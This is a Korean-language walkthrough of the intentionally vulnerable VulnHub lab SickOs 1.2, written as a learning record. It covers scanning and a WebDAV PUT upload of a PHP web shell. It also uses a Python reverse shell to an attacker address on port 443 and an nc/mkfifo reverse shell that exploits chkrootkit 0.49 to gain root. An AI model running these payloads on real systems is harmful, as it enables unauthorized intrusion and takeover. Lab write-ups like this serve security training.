vulnhub Walkthrough: SickOs: 1.2

13435 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 SickOs: 1.2의 Walkthrough입니다.

vulnhub 정보





이름
SickOs: 1.2


Date release
27 Apr 2016

작성자
D4rk

시리즈
SickOs


PortScan:


SSHlighttpd가 작동하는 것 같습니다.


서비스
VERSION


ssh
OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)

ssh
lighttpd 1.4.28


root@kali:~# nmap -sS -sV 192.168.56.76
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 12:41 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.76
Host is up (0.00067s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28
MAC Address: 08:00:27:22:6F:4B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds

Enumeration:



디렉토리를 확인한 결과 /test 디렉토리가 존재했습니다.
하지만 다른 유익한 정보는 아무것도 얻지 못했습니다. . . .
그래서 힌트를 보았는데 /test 디렉토리의 HTTP method를 확인하라는 것입니다.

root@kali:~# dirb  http://192.168.56.76                                                                                                                        

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun May 10 12:44:12 2020
URL_BASE: http://192.168.56.76/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.76/ ----
+ http://192.168.56.76/index.php (CODE:200|SIZE:163)                                                                                                                 
==> DIRECTORY: http://192.168.56.76/test/                                                                                                                            

---- Entering directory: http://192.168.56.76/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sun May 10 12:44:17 2020
DOWNLOADED: 4612 - FOUND: 1

여러가지 사용할 수 있을 것 같은 메소드가 있네요.PUT에서 리버스 셸을 업로드합니다.

root@kali:~# curl --head -X OPTIONS http://192.168.56.76/test
HTTP/1.1 301 Moved Permanently
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Location: http://192.168.56.76/test/
Content-Length: 0
Date: Sun, 10 May 2020 12:56:28 GMT
Server: lighttpd/1.4.28

Exploitation:



먼저 kali linux와 함께 제공되는 /usr/share/webshells/php/php-reverse-shell.php를 사용합니다.
이곳은 자신의 환경에 맞추기 위해 IP를 편집해야합니다.--upload-file 에서 빈 파일은 업로드할 수 있는 것 같습니다만, 내용이 존재하면 업로드할 수 없다? ? 보였다.

root@kali:~# curl http://192.168.56.76/test/ --upload-file php-reverse-shell.php 
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>417 - Expectation Failed</title>
 </head>
 <body>
  <h1>417 - Expectation Failed</h1>
 </body>
</html>

그래서, 다른 방법으로 행해 갑니다.os 명령을 실행할 수 있도록 파일을 업로드했습니다.

root@kali:~# curl -X PUT http://192.168.56.76/test/fuga.php -d '<?php system($_GET["cmd"]);?>'


python 사용할 수 있으므로 역방향 셸을 실행합니다.
좀처럼 연결되지 않습니다.
여기서 일단 포기하고 힌트를 먹었습니다.
분명히 iptables에서 포트가 상당히 제한된 것 같습니다. . . . . .
따라서 포트443에서 연결할 수 있었습니다.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.65",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation:


crontab 확인 /etc/cron.daily에서 정기적으로 문제가 chkrootkit 있습니다.

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

$ ls -la /etc/cron.daily
total 72
drwxr-xr-x  2 root root  4096 Apr 12  2016 .
drwxr-xr-x 84 root root  4096 May 10 07:15 ..
-rw-r--r--  1 root root   102 Jun 19  2012 .placeholder
-rwxr-xr-x  1 root root 15399 Nov 15  2013 apt
-rwxr-xr-x  1 root root   314 Apr 18  2013 aptitude
-rwxr-xr-x  1 root root   502 Mar 31  2012 bsdmainutils
-rwxr-xr-x  1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x  1 root root   256 Oct 14  2013 dpkg
-rwxr-xr-x  1 root root   338 Dec 20  2011 lighttpd
-rwxr-xr-x  1 root root   372 Oct  4  2011 logrotate
-rwxr-xr-x  1 root root  1365 Dec 28  2012 man-db
-rwxr-xr-x  1 root root   606 Aug 17  2011 mlocate
-rwxr-xr-x  1 root root   249 Sep 12  2012 passwd
-rwxr-xr-x  1 root root  2417 Jul  1  2011 popularity-contest
-rwxr-xr-x  1 root root  2947 Jun 19  2012 standard
chktootkit 0.49 취약점이 있는 것 같습니다.

$ chkrootkit -V
chkrootkit version 0.49
root@kali:~# searchsploit chkrootkit 0.49
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                               |  Path
                                                                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Chkrootkit 0.49 - Local Privilege Escalation                                                                                 | exploits/linux/local/33899.txt
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
33899.txt에 쓰여진 대로 시도해 봅니다.

$ echo '#!/bin/bash' > update
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.65 443 >/tmp/f' >> update
$ chmod 777 update
netcat에서 443 포트에서 연결을 기다리는 경우 root 권한으로 연결되었습니다.

root@kali:~# netcat -nlvp 443
listening on [any] 443 ...
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.76] 39311
/bin/sh: 0: can not access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
chkrootkit-0.49
newRule
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

면책 조항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기